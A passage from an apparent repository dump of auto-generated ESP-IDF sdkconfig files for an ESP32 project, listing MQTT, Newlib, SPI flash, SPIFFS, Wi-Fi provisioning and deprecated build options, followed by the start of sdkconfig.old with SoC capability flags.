CONFIG_MBEDTLS_SECURITY_RISKS is not set 1243 | # end of mbedTLS 1244 | 1245 | # 1246 | # ESP-MQTT Configurations 1247 | # 1248 | CONFIG_MQTT_PROTOCOL_311=y 1249 | # CONFIG_MQTT_PROTOCOL_5 is not set 1250 | CONFIG_MQTT_TRANSPORT_SSL=y 1251 | CONFIG_MQTT_TRANSPORT_WEBSOCKET=y 1252 | CONFIG_MQTT_TRANSPORT_WEBSOCKET_SECURE=y 1253 | # CONFIG_MQTT_MSG_ID_INCREMENTAL is not set 1254 | # CONFIG_MQTT_SKIP_PUBLISH_IF_DISCONNECTED is not set 1255 | # CONFIG_MQTT_REPORT_DELETED_MESSAGES is not set 1256 | # CONFIG_MQTT_USE_CUSTOM_CONFIG is not set 1257 | # CONFIG_MQTT_TASK_CORE_SELECTION_ENABLED is not set 1258 | # CONFIG_MQTT_CUSTOM_OUTBOX is not set 1259 | # end of ESP-MQTT Configurations 1260 | 1261 | # 1262 | # Newlib 1263 | # 1264 | CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y 1265 | # CONFIG_NEWLIB_STDOUT_LINE_ENDING_LF is not set 1266 | # CONFIG_NEWLIB_STDOUT_LINE_ENDING_CR is not set 1267 | # CONFIG_NEWLIB_STDIN_LINE_ENDING_CRLF is not set 1268 | # CONFIG_NEWLIB_STDIN_LINE_ENDING_LF is not set 1269 | CONFIG_NEWLIB_STDIN_LINE_ENDING_CR=y 1270 | # CONFIG_NEWLIB_NANO_FORMAT is not set 1271 | CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC_HRT=y 1272 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC is not set 1273 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_HRT is not set 1274 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_NONE is not set 1275 | # end of Newlib 1276 | 1277 | # 1278 | # NVS 1279 | # 1280 | # CONFIG_NVS_ASSERT_ERROR_CHECK is not set 1281 | # end of NVS 1282 | 1283 | # 1284 | # OpenThread 1285 | # 1286 | # CONFIG_OPENTHREAD_ENABLED is not set 1287 | # end of OpenThread 1288 | 1289 | # 1290 | # Protocomm 1291 | # 1292 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_0=y 1293 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_1=y 1294 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_2=y 1295 | # end of Protocomm 1296 | 1297 | # 1298 | # PThreads 1299 | # 1300 | CONFIG_PTHREAD_TASK_PRIO_DEFAULT=5 1301 | CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 1302 | CONFIG_PTHREAD_STACK_MIN=768 1303 | CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY=y 1304 | # CONFIG_PTHREAD_DEFAULT_CORE_0 is not set 1305 | # CONFIG_PTHREAD_DEFAULT_CORE_1 is not set 1306 | CONFIG_PTHREAD_TASK_CORE_DEFAULT=-1 1307 | CONFIG_PTHREAD_TASK_NAME_DEFAULT="pthread" 1308 | # end of PThreads 1309 | 1310 | # 1311 | # SPI Flash driver 1312 | # 1313 | # CONFIG_SPI_FLASH_VERIFY_WRITE is not set 1314 | # CONFIG_SPI_FLASH_ENABLE_COUNTERS is not set 1315 | CONFIG_SPI_FLASH_ROM_DRIVER_PATCH=y 1316 | CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS=y 1317 | # CONFIG_SPI_FLASH_DANGEROUS_WRITE_FAILS is not set 1318 | # CONFIG_SPI_FLASH_DANGEROUS_WRITE_ALLOWED is not set 1319 | # CONFIG_SPI_FLASH_SHARE_SPI1_BUS is not set 1320 | # CONFIG_SPI_FLASH_BYPASS_BLOCK_ERASE is not set 1321 | CONFIG_SPI_FLASH_YIELD_DURING_ERASE=y 1322 | CONFIG_SPI_FLASH_ERASE_YIELD_DURATION_MS=20 1323 | CONFIG_SPI_FLASH_ERASE_YIELD_TICKS=1 1324 | CONFIG_SPI_FLASH_WRITE_CHUNK_SIZE=8192 1325 | # CONFIG_SPI_FLASH_SIZE_OVERRIDE is not set 1326 | # CONFIG_SPI_FLASH_CHECK_ERASE_TIMEOUT_DISABLED is not set 1327 | # CONFIG_SPI_FLASH_OVERRIDE_CHIP_DRIVER_LIST is not set 1328 | 1329 | # 1330 | # SPI Flash behavior when brownout 1331 | # 1332 | CONFIG_SPI_FLASH_BROWNOUT_RESET_XMC=y 1333 | CONFIG_SPI_FLASH_BROWNOUT_RESET=y 1334 | # end of SPI Flash behavior when brownout 1335 | 1336 | # 1337 | # Auto-detect flash chips 1338 | # 1339 | CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP=y 1340 | CONFIG_SPI_FLASH_SUPPORT_MXIC_CHIP=y 1341 | CONFIG_SPI_FLASH_SUPPORT_GD_CHIP=y 1342 | CONFIG_SPI_FLASH_SUPPORT_WINBOND_CHIP=y 1343 | # CONFIG_SPI_FLASH_SUPPORT_BOYA_CHIP is not set 1344 | # CONFIG_SPI_FLASH_SUPPORT_TH_CHIP is not set 1345 | # end of Auto-detect flash chips 1346 | 1347 | CONFIG_SPI_FLASH_ENABLE_ENCRYPTED_READ_WRITE=y 1348 | # end of SPI Flash driver 1349 | 1350 | # 1351 | # SPIFFS Configuration 1352 | # 1353 | CONFIG_SPIFFS_MAX_PARTITIONS=3 1354 | 1355 | # 1356 | # SPIFFS Cache Configuration 1357 | # 1358 | CONFIG_SPIFFS_CACHE=y 1359 | CONFIG_SPIFFS_CACHE_WR=y 1360 | # CONFIG_SPIFFS_CACHE_STATS is not set 1361 | # end of SPIFFS Cache Configuration 1362 | 1363 | CONFIG_SPIFFS_PAGE_CHECK=y 1364 | CONFIG_SPIFFS_GC_MAX_RUNS=10 1365 | # CONFIG_SPIFFS_GC_STATS is not set 1366 | CONFIG_SPIFFS_PAGE_SIZE=256 1367 | CONFIG_SPIFFS_OBJ_NAME_LEN=32 1368 | # CONFIG_SPIFFS_FOLLOW_SYMLINKS is not set 1369 | CONFIG_SPIFFS_USE_MAGIC=y 1370 | CONFIG_SPIFFS_USE_MAGIC_LENGTH=y 1371 | CONFIG_SPIFFS_META_LENGTH=4 1372 | CONFIG_SPIFFS_USE_MTIME=y 1373 | 1374 | # 1375 | # Debug Configuration 1376 | # 1377 | # CONFIG_SPIFFS_DBG is not set 1378 | # CONFIG_SPIFFS_API_DBG is not set 1379 | # CONFIG_SPIFFS_GC_DBG is not set 1380 | # CONFIG_SPIFFS_CACHE_DBG is not set 1381 | # CONFIG_SPIFFS_CHECK_DBG is not set 1382 | # CONFIG_SPIFFS_TEST_VISUALISATION is not set 1383 | # end of Debug Configuration 1384 | # end of SPIFFS Configuration 1385 | 1386 | # 1387 | # TCP Transport 1388 | # 1389 | 1390 | # 1391 | # Websocket 1392 | # 1393 | CONFIG_WS_TRANSPORT=y 1394 | CONFIG_WS_BUFFER_SIZE=1024 1395 | # CONFIG_WS_DYNAMIC_BUFFER is not set 1396 | # end of Websocket 1397 | # end of TCP Transport 1398 | 1399 | # 1400 | # Ultra Low Power (ULP) Co-processor 1401 | # 1402 | # CONFIG_ULP_COPROC_ENABLED is not set 1403 | # end of Ultra Low Power (ULP) Co-processor 1404 | 1405 | # 1406 | # Unity unit testing library 1407 | # 1408 | CONFIG_UNITY_ENABLE_FLOAT=y 1409 | CONFIG_UNITY_ENABLE_DOUBLE=y 1410 | # CONFIG_UNITY_ENABLE_64BIT is not set 1411 | # CONFIG_UNITY_ENABLE_COLOR is not set 1412 | CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=y 1413 | # CONFIG_UNITY_ENABLE_FIXTURE is not set 1414 | # CONFIG_UNITY_ENABLE_BACKTRACE_ON_FAIL is not set 1415 | # end of Unity unit testing library 1416 | 1417 | # 1418 | # Virtual file system 1419 | # 1420 | CONFIG_VFS_SUPPORT_IO=y 1421 | CONFIG_VFS_SUPPORT_DIR=y 1422 | CONFIG_VFS_SUPPORT_SELECT=y 1423 | CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT=y 1424 | CONFIG_VFS_SUPPORT_TERMIOS=y 1425 | 1426 | # 1427 | # Host File System I/O (Semihosting) 1428 | # 1429 | CONFIG_VFS_SEMIHOSTFS_MAX_MOUNT_POINTS=1 1430 | # end of Host File System I/O (Semihosting) 1431 | # end of Virtual file system 1432 | 1433 | # 1434 | # Wear Levelling 1435 | # 1436 | # CONFIG_WL_SECTOR_SIZE_512 is not set 1437 | CONFIG_WL_SECTOR_SIZE_4096=y 1438 | CONFIG_WL_SECTOR_SIZE=4096 1439 | # end of Wear Levelling 1440 | 1441 | # 1442 | # Wi-Fi Provisioning Manager 1443 | # 1444 | CONFIG_WIFI_PROV_SCAN_MAX_ENTRIES=16 1445 | CONFIG_WIFI_PROV_AUTOSTOP_TIMEOUT=30 1446 | CONFIG_WIFI_PROV_BLE_FORCE_ENCRYPTION=y 1447 | # end of Wi-Fi Provisioning Manager 1448 | 1449 | # 1450 | # Supplicant 1451 | # 1452 | CONFIG_WPA_MBEDTLS_CRYPTO=y 1453 | CONFIG_WPA_MBEDTLS_TLS_CLIENT=y 1454 | # CONFIG_WPA_WAPI_PSK is not set 1455 | # CONFIG_WPA_SUITE_B_192 is not set 1456 | # CONFIG_WPA_DEBUG_PRINT is not set 1457 | # CONFIG_WPA_TESTING_OPTIONS is not set 1458 | # CONFIG_WPA_WPS_STRICT is not set 1459 | # CONFIG_WPA_11KV_SUPPORT is not set 1460 | # CONFIG_WPA_MBO_SUPPORT is not set 1461 | # CONFIG_WPA_DPP_SUPPORT is not set 1462 | # CONFIG_WPA_11R_SUPPORT is not set 1463 | # CONFIG_WPA_WPS_SOFTAP_REGISTRAR is not set 1464 | # end of Supplicant 1465 | # end of Component config 1466 | 1467 | # Deprecated options for backward compatibility 1468 | # CONFIG_NO_BLOBS is not set 1469 | # CONFIG_ESP32_NO_BLOBS is not set 1470 | # CONFIG_ESP32_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set 1471 | # CONFIG_ESP32_COMPATIBLE_PRE_V3_1_BOOTLOADERS is not set 1472 | # CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set 1473 | # CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set 1474 | # CONFIG_LOG_BOOTLOADER_LEVEL_WARN is not set 1475 | CONFIG_LOG_BOOTLOADER_LEVEL_INFO=y 1476 | # CONFIG_LOG_BOOTLOADER_LEVEL_DEBUG is not set 1477 | # CONFIG_LOG_BOOTLOADER_LEVEL_VERBOSE is not set 1478 | CONFIG_LOG_BOOTLOADER_LEVEL=3 1479 | # CONFIG_APP_ROLLBACK_ENABLE is not set 1480 | # CONFIG_FLASH_ENCRYPTION_ENABLED is not set 1481 | # CONFIG_FLASHMODE_QIO is not set 1482 | # CONFIG_FLASHMODE_QOUT is not set 1483 | CONFIG_FLASHMODE_DIO=y 1484 | # CONFIG_FLASHMODE_DOUT is not set 1485 | CONFIG_MONITOR_BAUD=115200 1486 | CONFIG_OPTIMIZATION_LEVEL_DEBUG=y 1487 | CONFIG_COMPILER_OPTIMIZATION_LEVEL_DEBUG=y 1488 | # CONFIG_OPTIMIZATION_LEVEL_RELEASE is not set 1489 | # CONFIG_COMPILER_OPTIMIZATION_LEVEL_RELEASE is not set 1490 | CONFIG_OPTIMIZATION_ASSERTIONS_ENABLED=y 1491 | # CONFIG_OPTIMIZATION_ASSERTIONS_SILENT is not set 1492 | # CONFIG_OPTIMIZATION_ASSERTIONS_DISABLED is not set 1493 | CONFIG_OPTIMIZATION_ASSERTION_LEVEL=2 1494 | # CONFIG_CXX_EXCEPTIONS is not set 1495 | CONFIG_STACK_CHECK_NONE=y 1496 | # CONFIG_STACK_CHECK_NORM is not set 1497 | # CONFIG_STACK_CHECK_STRONG is not set 1498 | # CONFIG_STACK_CHECK_ALL is not set 1499 | # CONFIG_WARN_WRITE_STRINGS is not set 1500 | # CONFIG_ESP32_APPTRACE_DEST_TRAX is not set 1501 | CONFIG_ESP32_APPTRACE_DEST_NONE=y 1502 | CONFIG_ESP32_APPTRACE_LOCK_ENABLE=y 1503 | CONFIG_ADC2_DISABLE_DAC=y 1504 | # CONFIG_MCPWM_ISR_IN_IRAM is not set 1505 | # CONFIG_EVENT_LOOP_PROFILING is not set 1506 | CONFIG_POST_EVENTS_FROM_ISR=y 1507 | CONFIG_POST_EVENTS_FROM_IRAM_ISR=y 1508 | # CONFIG_OTA_ALLOW_HTTP is not set 1509 | # CONFIG_TWO_UNIVERSAL_MAC_ADDRESS is not set 1510 | CONFIG_FOUR_UNIVERSAL_MAC_ADDRESS=y 1511 | CONFIG_NUMBER_OF_UNIVERSAL_MAC_ADDRESS=4 1512 | # CONFIG_ESP_SYSTEM_PD_FLASH is not set 1513 | CONFIG_ESP32_DEEP_SLEEP_WAKEUP_DELAY=2000 1514 | CONFIG_ESP32_RTC_CLK_SRC_INT_RC=y 1515 | CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_RC=y 1516 | # CONFIG_ESP32_RTC_CLK_SRC_EXT_CRYS is not set 1517 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_CRYSTAL is not set 1518 | # CONFIG_ESP32_RTC_CLK_SRC_EXT_OSC is not set 1519 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_OSC is not set 1520 | # CONFIG_ESP32_RTC_CLK_SRC_INT_8MD256 is not set 1521 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_8MD256 is not set 1522 | CONFIG_ESP32_RTC_CLK_CAL_CYCLES=1024 1523 | # CONFIG_ESP32_XTAL_FREQ_26 is not set 1524 | CONFIG_ESP32_XTAL_FREQ_40=y 1525 | # CONFIG_ESP32_XTAL_FREQ_AUTO is not set 1526 | CONFIG_ESP32_XTAL_FREQ=40 1527 | CONFIG_ESP32_PHY_CALIBRATION_AND_DATA_STORAGE=y 1528 | # CONFIG_ESP32_PHY_INIT_DATA_IN_PARTITION is not set 1529 | CONFIG_ESP32_PHY_MAX_WIFI_TX_POWER=20 1530 | CONFIG_ESP32_PHY_MAX_TX_POWER=20 1531 | CONFIG_REDUCE_PHY_TX_POWER=y 1532 | CONFIG_ESP32_REDUCE_PHY_TX_POWER=y 1533 | # CONFIG_SPIRAM_SUPPORT is not set 1534 | # CONFIG_ESP32_SPIRAM_SUPPORT is not set 1535 | # CONFIG_ESP32_DEFAULT_CPU_FREQ_80 is not set 1536 | CONFIG_ESP32_DEFAULT_CPU_FREQ_160=y 1537 | # CONFIG_ESP32_DEFAULT_CPU_FREQ_240 is not set 1538 | CONFIG_ESP32_DEFAULT_CPU_FREQ_MHZ=160 1539 | CONFIG_TRACEMEM_RESERVE_DRAM=0x0 1540 | # CONFIG_ESP32_PANIC_PRINT_HALT is not set 1541 | CONFIG_ESP32_PANIC_PRINT_REBOOT=y 1542 | # CONFIG_ESP32_PANIC_SILENT_REBOOT is not set 1543 | # CONFIG_ESP32_PANIC_GDBSTUB is not set 1544 | CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32 1545 | CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304 1546 | CONFIG_MAIN_TASK_STACK_SIZE=3584 1547 | CONFIG_CONSOLE_UART_DEFAULT=y 1548 | # CONFIG_CONSOLE_UART_CUSTOM is not set 1549 | # CONFIG_CONSOLE_UART_NONE is not set 1550 | # CONFIG_ESP_CONSOLE_UART_NONE is not set 1551 | CONFIG_CONSOLE_UART=y 1552 | CONFIG_CONSOLE_UART_NUM=0 1553 | CONFIG_CONSOLE_UART_BAUDRATE=115200 1554 | CONFIG_INT_WDT=y 1555 | CONFIG_INT_WDT_TIMEOUT_MS=300 1556 | CONFIG_INT_WDT_CHECK_CPU1=y 1557 | CONFIG_TASK_WDT=y 1558 | # CONFIG_TASK_WDT_PANIC is not set 1559 | CONFIG_TASK_WDT_TIMEOUT_S=5 1560 | CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0=y 1561 | CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1=y 1562 | # CONFIG_ESP32_DEBUG_STUBS_ENABLE is not set 1563 | CONFIG_ESP32_DEBUG_OCDAWARE=y 1564 | CONFIG_BROWNOUT_DET=y 1565 | CONFIG_ESP32_BROWNOUT_DET=y 1566 | CONFIG_BROWNOUT_DET_LVL_SEL_0=y 1567 | CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_0=y 1568 | # CONFIG_BROWNOUT_DET_LVL_SEL_1 is not set 1569 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_1 is not set 1570 | # CONFIG_BROWNOUT_DET_LVL_SEL_2 is not set 1571 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_2 is not set 1572 | # CONFIG_BROWNOUT_DET_LVL_SEL_3 is not set 1573 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_3 is not set 1574 | # CONFIG_BROWNOUT_DET_LVL_SEL_4 is not set 1575 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_4 is not set 1576 | # CONFIG_BROWNOUT_DET_LVL_SEL_5 is not set 1577 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_5 is not set 1578 | # CONFIG_BROWNOUT_DET_LVL_SEL_6 is not set 1579 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_6 is not set 1580 | # CONFIG_BROWNOUT_DET_LVL_SEL_7 is not set 1581 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_7 is not set 1582 | CONFIG_BROWNOUT_DET_LVL=0 1583 | CONFIG_ESP32_BROWNOUT_DET_LVL=0 1584 | # CONFIG_DISABLE_BASIC_ROM_CONSOLE is not set 1585 | CONFIG_IPC_TASK_STACK_SIZE=1024 1586 | CONFIG_TIMER_TASK_STACK_SIZE=3584 1587 | # CONFIG_ESP32_ENABLE_COREDUMP_TO_FLASH is not set 1588 | # CONFIG_ESP32_ENABLE_COREDUMP_TO_UART is not set 1589 | CONFIG_ESP32_ENABLE_COREDUMP_TO_NONE=y 1590 | CONFIG_TIMER_TASK_PRIORITY=1 1591 | CONFIG_TIMER_TASK_STACK_DEPTH=2048 1592 | CONFIG_TIMER_QUEUE_LENGTH=10 1593 | # CONFIG_ENABLE_STATIC_TASK_CLEAN_UP_HOOK is not set 1594 | # CONFIG_HAL_ASSERTION_SILIENT is not set 1595 | # CONFIG_L2_TO_L3_COPY is not set 1596 | CONFIG_ESP_GRATUITOUS_ARP=y 1597 | CONFIG_GARP_TMR_INTERVAL=60 1598 | CONFIG_TCPIP_RECVMBOX_SIZE=32 1599 | CONFIG_TCP_MAXRTX=12 1600 | CONFIG_TCP_SYNMAXRTX=12 1601 | CONFIG_TCP_MSS=1440 1602 | CONFIG_TCP_MSL=60000 1603 | CONFIG_TCP_SND_BUF_DEFAULT=5744 1604 | CONFIG_TCP_WND_DEFAULT=5744 1605 | CONFIG_TCP_RECVMBOX_SIZE=6 1606 | CONFIG_TCP_QUEUE_OOSEQ=y 1607 | CONFIG_TCP_OVERSIZE_MSS=y 1608 | # CONFIG_TCP_OVERSIZE_QUARTER_MSS is not set 1609 | # CONFIG_TCP_OVERSIZE_DISABLE is not set 1610 | CONFIG_UDP_RECVMBOX_SIZE=6 1611 | CONFIG_TCPIP_TASK_STACK_SIZE=3072 1612 | CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY=y 1613 | # CONFIG_TCPIP_TASK_AFFINITY_CPU0 is not set 1614 | # CONFIG_TCPIP_TASK_AFFINITY_CPU1 is not set 1615 | CONFIG_TCPIP_TASK_AFFINITY=0x7FFFFFFF 1616 | # CONFIG_PPP_SUPPORT is not set 1617 | CONFIG_ESP32_TIME_SYSCALL_USE_RTC_HRT=y 1618 | CONFIG_ESP32_TIME_SYSCALL_USE_RTC_FRC1=y 1619 | # CONFIG_ESP32_TIME_SYSCALL_USE_RTC is not set 1620 | # CONFIG_ESP32_TIME_SYSCALL_USE_HRT is not set 1621 | # CONFIG_ESP32_TIME_SYSCALL_USE_FRC1 is not set 1622 | # CONFIG_ESP32_TIME_SYSCALL_USE_NONE is not set 1623 | CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT=5 1624 | CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 1625 | CONFIG_ESP32_PTHREAD_STACK_MIN=768 1626 | CONFIG_ESP32_DEFAULT_PTHREAD_CORE_NO_AFFINITY=y 1627 | # CONFIG_ESP32_DEFAULT_PTHREAD_CORE_0 is not set 1628 | # CONFIG_ESP32_DEFAULT_PTHREAD_CORE_1 is not set 1629 | CONFIG_ESP32_PTHREAD_TASK_CORE_DEFAULT=-1 1630 | CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT="pthread" 1631 | CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y 1632 | # CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_FAILS is not set 1633 | # CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ALLOWED is not set 1634 | # CONFIG_ESP32_ULP_COPROC_ENABLED is not set 1635 | CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT=y 1636 | CONFIG_SUPPORT_TERMIOS=y 1637 | CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS=1 1638 | # End of deprecated options 1639 | -------------------------------------------------------------------------------- /ESPCode/sdkconfig.old: -------------------------------------------------------------------------------- 1 | # 2 | # Automatically generated file. DO NOT EDIT. 3 | # Espressif IoT Development Framework (ESP-IDF) Project Configuration 4 | # 5 | CONFIG_SOC_BROWNOUT_RESET_SUPPORTED="Not determined" 6 | CONFIG_SOC_TWAI_BRP_DIV_SUPPORTED="Not determined" 7 | CONFIG_SOC_DPORT_WORKAROUND="Not determined" 8 | CONFIG_SOC_CAPS_ECO_VER_MAX=3 9 | CONFIG_SOC_ADC_SUPPORTED=y 10 | CONFIG_SOC_DAC_SUPPORTED=y 11 | CONFIG_SOC_MCPWM_SUPPORTED=y 12 | CONFIG_SOC_SDMMC_HOST_SUPPORTED=y 13 | CONFIG_SOC_BT_SUPPORTED=y 14 | CONFIG_SOC_PCNT_SUPPORTED=y 15 | CONFIG_SOC_WIFI_SUPPORTED=y 16 | CONFIG_SOC_SDIO_SLAVE_SUPPORTED=y 17 | CONFIG_SOC_TWAI_SUPPORTED=y 18 | CONFIG_SOC_EMAC_SUPPORTED=y 19 | CONFIG_SOC_ULP_SUPPORTED=y 20 | CONFIG_SOC_CCOMP_TIMER_SUPPORTED=y 21 | CONFIG_SOC_RTC_FAST_MEM_SUPPORTED=y 22 | CONFIG_SOC_RTC_SLOW_MEM_SUPPORTED=y 23 | CONFIG_SOC_RTC_MEM_SUPPORTED=y 24 | CONFIG_SOC_I2S_SUPPORTED=y 25 | CONFIG_SOC_RMT_SUPPORTED=y 26 | CONFIG_SOC_SDM_SUPPORTED=y 27 | CONFIG_SOC_SUPPORT_COEXISTENCE=y 28 | CONFIG_SOC_AES_SUPPORTED=y 29 | CONFIG_SOC_MPI_SUPPORTED=y 30 | CONFIG_SOC_SHA_SUPPORTED=y 31 | CONFIG_SOC_FLASH_ENC_SUPPORTED=y 32 | CONFIG_SOC_SECURE_BOOT_SUPPORTED=y 33 | CONFIG_SOC_TOUCH_SENSOR_SUPPORTED=y 34 | CONFIG_SOC_DPORT_WORKAROUND_DIS_INTERRUPT_LVL=5 35 | CONFIG_SOC_XTAL_SUPPORT_26M=y 36 | CONFIG_SOC_XTAL_SUPPORT_40M=y 37 | CONFIG_SOC_XTAL_SUPPORT_AUTO_DETECT=y 38 | CONFIG_SOC_ADC_RTC_CTRL_SUPPORTED=y 39 | CONFIG_SOC_ADC_DIG_CTRL_SUPPORTED=y 40 | CONFIG_SOC_ADC_DMA_SUPPORTED=y 41 | CONFIG_SOC_ADC_PERIPH_NUM=2 42 | CONFIG_SOC_ADC_MAX_CHANNEL_NUM=10 43 | CONFIG_SOC_ADC_ATTEN_NUM=4 44 | CONFIG_SOC_ADC_DIGI_CONTROLLER_NUM=2 45 | CONFIG_SOC_ADC_PATT_LEN_MAX=16 46 | CONFIG_SOC_ADC_DIGI_MIN_BITWIDTH=9 47 | CONFIG_SOC_ADC_DIGI_MAX_BITWIDTH=12 48 | CONFIG_SOC_ADC_DIGI_RESULT_BYTES=2 49 | CONFIG_SOC_ADC_DIGI_DATA_BYTES_PER_CONV=4 50 | CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_HIGH=2 51 | CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_LOW=20 52 | CONFIG_SOC_ADC_RTC_MIN_BITWIDTH=9 53 | CONFIG_SOC_ADC_RTC_MAX_BITWIDTH=12 54 | CONFIG_SOC_RTC_SLOW_CLOCK_SUPPORT_8MD256=y 55 | CONFIG_SOC_SHARED_IDCACHE_SUPPORTED=y 56 | CONFIG_SOC_MMU_LINEAR_ADDRESS_REGION_NUM=5 57 | CONFIG_SOC_CPU_CORES_NUM=2 58 | CONFIG_SOC_CPU_INTR_NUM=32 59 | CONFIG_SOC_CPU_HAS_FPU=y 60 | CONFIG_SOC_CPU_BREAKPOINTS_NUM=2 61 | CONFIG_SOC_CPU_WATCHPOINTS_NUM=2 62 | CONFIG_SOC_CPU_WATCHPOINT_SIZE=64 63 | CONFIG_SOC_DAC_PERIPH_NUM=2 64 | CONFIG_SOC_DAC_RESOLUTION=8 65 | CONFIG_SOC_GPIO_PORT=1 66 | CONFIG_SOC_GPIO_PIN_COUNT=40 67 | CONFIG_SOC_GPIO_VALID_GPIO_MASK=0xFFFFFFFFFF 68 | CONFIG_SOC_GPIO_SUPPORT_SLP_SWITCH=y 69 | CONFIG_SOC_I2C_NUM=2 70 | CONFIG_SOC_I2C_FIFO_LEN=32 71 | CONFIG_SOC_I2C_SUPPORT_SLAVE=y 72 | CONFIG_SOC_I2C_SUPPORT_APB=y 73 | CONFIG_SOC_CLK_APLL_SUPPORTED=y 74 | CONFIG_SOC_APLL_MULTIPLIER_OUT_MIN_HZ=350000000 75 | CONFIG_SOC_APLL_MULTIPLIER_OUT_MAX_HZ=500000000 76 | CONFIG_SOC_APLL_MIN_HZ=5303031 77 | CONFIG_SOC_APLL_MAX_HZ=125000000 78 | CONFIG_SOC_I2S_NUM=2 79 | CONFIG_SOC_I2S_HW_VERSION_1=y 80 | CONFIG_SOC_I2S_SUPPORTS_APLL=y 81 | CONFIG_SOC_I2S_SUPPORTS_PDM=y 82 | CONFIG_SOC_I2S_SUPPORTS_PDM_TX=y 83 | CONFIG_SOC_I2S_SUPPORTS_PDM_RX=y 84 | CONFIG_SOC_I2S_SUPPORTS_ADC_DAC=y 85 | CONFIG_SOC_I2S_SUPPORTS_ADC=y 86 | CONFIG_SOC_I2S_SUPPORTS_DAC=y 87 | CONFIG_SOC_I2S_SUPPORTS_LCD_CAMERA=y 88 | CONFIG_SOC_I2S_TRANS_SIZE_ALIGN_WORD=y 89 | CONFIG_SOC_I2S_LCD_I80_VARIANT=y 90 | CONFIG_SOC_LCD_I80_SUPPORTED=y 91 | CONFIG_SOC_LCD_I80_BUSES=2 92 | CONFIG_SOC_LCD_I80_BUS_WIDTH=24 93 | CONFIG_SOC_LEDC_HAS_TIMER_SPECIFIC_MUX=y 94 | CONFIG_SOC_LEDC_SUPPORT_APB_CLOCK=y 95 | CONFIG_SOC_LEDC_SUPPORT_REF_TICK=y 96 | CONFIG_SOC_LEDC_SUPPORT_HS_MODE=y 97 | CONFIG_SOC_LEDC_CHANNEL_NUM=8 98 | CONFIG_SOC_LEDC_TIMER_BIT_WIDE_NUM=20 99 | CONFIG_SOC_MCPWM_GROUPS=2 100 | CONFIG_SOC_MCPWM_TIMERS_PER_GROUP=3 101 | CONFIG_SOC_MCPWM_OPERATORS_PER_GROUP=3 102 | CONFIG_SOC_MCPWM_COMPARATORS_PER_OPERATOR=2 103 | CONFIG_SOC_MCPWM_GENERATORS_PER_OPERATOR=2 104 | CONFIG_SOC_MCPWM_TRIGGERS_PER_OPERATOR=2 105 | CONFIG_SOC_MCPWM_GPIO_FAULTS_PER_GROUP=3 106 | CONFIG_SOC_MCPWM_CAPTURE_TIMERS_PER_GROUP=y 107 | CONFIG_SOC_MCPWM_CAPTURE_CHANNELS_PER_TIMER=3 108 | CONFIG_SOC_MCPWM_GPIO_SYNCHROS_PER_GROUP=3 109 | CONFIG_SOC_MPU_MIN_REGION_SIZE=0x20000000 110 | CONFIG_SOC_MPU_REGIONS_MAX_NUM=8 111 | CONFIG_SOC_PCNT_GROUPS=1 112 | CONFIG_SOC_PCNT_UNITS_PER_GROUP=8 113 | CONFIG_SOC_PCNT_CHANNELS_PER_UNIT=2 114 | CONFIG_SOC_PCNT_THRES_POINT_PER_UNIT=2 115 | CONFIG_SOC_RMT_GROUPS=1 116 | CONFIG_SOC_RMT_TX_CANDIDATES_PER_GROUP=8 117 | CONFIG_SOC_RMT_RX_CANDIDATES_PER_GROUP=8 118 | CONFIG_SOC_RMT_CHANNELS_PER_GROUP=8 119 | CONFIG_SOC_RMT_MEM_WORDS_PER_CHANNEL=64 120 | CONFIG_SOC_RMT_SUPPORT_REF_TICK=y 121 | CONFIG_SOC_RMT_SUPPORT_APB=y 122 | CONFIG_SOC_RMT_CHANNEL_CLK_INDEPENDENT=y 123 | CONFIG_SOC_RTCIO_PIN_COUNT=18 124 | CONFIG_SOC_RTCIO_INPUT_OUTPUT_SUPPORTED=y 125 | CONFIG_SOC_RTCIO_HOLD_SUPPORTED=y 126 | CONFIG_SOC_RTCIO_WAKE_SUPPORTED=y 127 | CONFIG_SOC_SDM_GROUPS=1 128 | 